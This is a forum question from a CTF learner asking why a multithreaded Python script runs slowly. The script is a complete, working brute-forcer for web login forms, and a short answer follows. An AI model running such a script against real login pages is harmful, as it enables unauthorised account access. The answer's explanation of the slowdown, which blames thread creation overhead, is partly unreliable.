Multithreading slowing down HTTP requests

Viewed 32

I'm trying to create a program that can make a lot of I/O requests. When I first started this, I just used a regular for loop to get through everything. As it was taking a lot of time to get through such a huge amount of requests (around 20,000) I decided to give a shot at multithreading.

Before reading the code, please bear in mind that I only created this because of a CTF I was trying to complete. Wanting to take programming more seriously and wanted to deviate away from using pre-built tools and actually code them myself. The program takes either a list of usernames or passwords and brute-forces a login page. It hasn't taken into consideration anything like maximum attempts etc. It's not a serious program, just something I wanted to make to actually do it myself.

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore

init()

GREEN = Fore.GREEN
BLUE = Fore.BLUE
YELLOW = Fore.YELLOW
RED = Fore.RED
RESET = Fore.RESET

banner = f"""{RED}
   dMP dMP dMP dMMMMMP dMMMMb  dMMMMMP .aMMMb  dMMMMb  .aMMMb  dMMMMMP 
  dMP dMP dMP dMP     dMP"dMP dMP     dMP"dMP dMP.dMP dMP"VMP dMP      
 dMP dMP dMP dMMMP   dMMMMK" dMMMP   dMP dMP dMMMMK" dMP     dMMMP     
dMP.dMP.dMP dMP     dMP.aMF dMP     dMP.aMP dMP"AMF dMP.aMP dMP        
VMMMPVMMP" dMMMMMP dMMMMP" dMP      VMMMP" dMP dMP  VMMMP" dMMMMMP 
{RESET}"""

print(banner)

def cracked(url, plusrname, plpwdname, message, username, password):
    try:
        payload = {
            plusrname : username,
            plpwdname : password
        }
        response = requests.post(url, data=payload)
        if message in response.text:
            print(f"{YELLOW}[!] Invalid credentials for {username}:{password}{RESET}")
            return False
        else:
            print(f"{GREEN}[!] Found valid credentials for {username}:{password}{RESET}")
            open("found_credentials.txt", "w").write(f"{username}:{password}")
            print("\n")
            print(f"Saved to found_credentials.txt")
            return True
    except:
        return False

def thread_run_function(args):
    return cracked(args[0],args[1],args[2],args[3],args[4],args[5])

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="Python Script to Bruteforce Online Web Login Pages.")
    parser.add_argument("URL", help="Hostname or IP Address of the login page to bruteforce.")
    parser.add_argument("-inu", "--input-name-user", help="The 'name' value from the login page's html input tag for the username field.")
    parser.add_argument("-inp", "--input-name-pass", help="The 'name' value from the login page's html input tag for the password field.")
    parser.add_argument("-msg", "--message", help="The error message shown when an incorrect login is provided.")
    parser.add_argument("-u", "--username", help="The username or list of usernames to bruteforce.")
    parser.add_argument("-p", "--password", help="The password or list of passwords to bruteforce.")
    parser.add_argument("-c", "--crack", help="Which field to bruteforce (E.g. --crack user) (E.g. --crack pass).")
    parser.add_argument("-t", "--threads", help="Number of threads to use for the attack.")

    arg = parser.parse_args()
    url = arg.URL
    plusrname = arg.input_name_user
    plpwdname = arg.input_name_pass
    message = arg.message
    username = arg.username
    password = arg.password
    crack = arg.crack
    n_threads = int(arg.threads)

    if crack.lower() == ("user"):
        userlist = list(dict.fromkeys(open(username, "r", encoding="utf-8", errors="ignore").read().split("\n")))
        passlist = [password]*len(userlist)
        msglist = [message]*len(userlist)
        urllist = [url]*len(userlist)
        plusrnamelist = [plusrname]*len(userlist)
        plpwdnamelist = [plpwdname]*len(userlist)
    elif crack.lower() == ("pass"):
        passlist = list(dict.fromkeys(open(password, "r", encoding="utf-8", errors="ignore").read().split("\n")))
        userlist = [username]*len(passlist)
        msglist = [message]*len(passlist)
        urllist = [url]*len(passlist)
        plusrnamelist = [plusrname]*len(passlist)
        plpwdnamelist = [plpwdname]*len(passlist)
    else:
        print(f"{RED}[!] Invalid option chosen for {RESET}--crack.")
        exit()

    
    arg_list = list(zip(urllist,plusrnamelist,plpwdnamelist,msglist,userlist,passlist))

    with ThreadPoolExecutor(max_workers=n_threads) as pool:
        for result in pool.map(thread_run_function, arg_list):
            if result == True:
                break

So the program works. But my problem is, it gets so extremely slow after a certain period. In fact, it actually runs a little faster without multithreading and just using a for loop to iterate through each username/password.

Why is this? I only decided to dive into multithreading to see if this could speed up the time it takes to do this. This particular CTF provides a dictionary to use. It takes about 1 hour to get through normally. I was hoping multithreading would improve this time but it actually makes it worse.

I have an Intel Core i5 and I have used as little as 5 threads for this program and it always runs very slow.

Any help or advise on what to do (as I am very sure I am making a mistake somewhere as I am not all that experienced with multithreading) then it would be greatly appreciated.

1 Answers

Python has the famous GIL (Global Interpreter Lock) which slightly alters how threads are executed (achieving similar concurrency with one thread through the threading abstraction).

However, while threading does help with I/O intensive tasks, making huge numbers of requests can slow down as the thread creation overhead overwhelms the request execution itself.

Try to limit the number of threads or dive into the more efficient world of asyncio using something like aiohttp.

Related